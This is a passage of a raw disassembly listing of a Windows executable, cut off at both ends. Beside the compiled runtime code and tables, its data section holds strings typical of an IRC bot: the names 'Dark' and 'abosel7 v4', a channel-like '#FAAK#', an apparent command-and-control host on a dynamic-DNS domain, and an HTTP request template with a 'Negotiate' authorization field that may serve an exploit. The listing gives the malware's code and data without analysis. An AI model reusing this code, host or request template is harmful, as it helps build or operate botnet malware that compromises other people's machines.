[ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB334 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 2620000h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25D0000h, 25E0000h, 25F0000h, 25F05F7h, 2600000h, 2600A2Fh dd 2600A73h, 2600F29h, 2610000h, 2620000h, 2620905h, 2630000h dd 263023Eh, 2630AD1h, 2630C9Bh dword_42703C dd 2630CC2h ; DATA XREF: ___:004231D9r dd 2640000h, 264030Fh, 264036Bh, 2640459h, 2650000h, 2660000h dd 2670000h, 267039Dh, 267084Bh, 77E75CB5h dword_427068 dd 2670858h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2670C08h, 2680000h, 2690000h dword_427078 dd 26903FCh ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2690448h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 26906ADh dword_427084 dd 26907A1h ; DATA XREF: sub_4196BC+B9r dd 2690DADh dword_42708C dd 2690DCCh ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 26A0000h ; DATA XREF: ___:loc_4013DCr dd 26A0305h, 26A047Ah dword_42709C dd 26A0574h ; DATA XREF: sub_409B12+2r dd 26A060Ah, 26A06D3h dword_4270A8 dd 26A0B9Fh ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 26A0C3Ch ; DATA XREF: sub_410CD5:loc_410DC1r dd 26B0000h, 26B0B50h dword_4270B8 dd 26B0BEDh ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26C0000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26D0000h, 26E0000h, 26E05B4h, 26F0000h, 77F7E300h, 77F7E21Fh dd 26F0630h, 26F0760h, 2700000h, 2700923h dword_4270E8 dd 2710000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 271092Ch ; DATA XREF: sub_418293+36r dd 2710BD7h, 2720000h dword_4270F8 dd 2720517h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2730000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 2740000h, 2750000h, 2750AD6h, 2760000h, 2760855h, 2770000h dd 2780000h, 2790000h, 2790B29h, 2790E39h, 27A0000h, 27A0138h dd 27A0B19h, 27B0000h, 27B04A2h dword_42713C dd 27B07ACh ; DATA XREF: sub_416F1A+BCr dd 27C0000h dword_427144 dd 27D0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27D09EAh ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27D0A99h dword_427150 dd 27E0000h ; DATA XREF: sub_417275+56r dd 27E0332h, 27F0000h, 2800000h, 2800654h, 2810000h, 2810377h dd 2810524h, 2820000h, 282073Dh, 2830000h dword_42717C dd 2840000h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2850000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 2860000h, 28603F6h, 28608C2h, 2870000h, 2880000h, 2890000h dd 2892210h, 28A0000h, 28B0000h, 28C0000h, 28C1C28h, 28C1C5Ch dd 28D0000h, 28E0000h, 28E013Fh dword_4271C0 dd 28E084Eh ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28E0A43h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28F0000h, 28F049Bh, 28F0BD5h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C514o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D084o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D084h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D09C dd offset dword_427E18+4 off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0BC dd offset unk_427E68 off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D0DC dd offset dword_427EB0+4 off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D100 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D084 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D084 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D09C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0BC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D0DC align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(3EB67FB9h), 5 dup(1D93F236h), 5 dup(0FC74F54h) dd 7Ah dup(0) dd 0FC74F54h, 0 dd 3EB67FB9h, 15h dup(0) dd 1D93F236h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 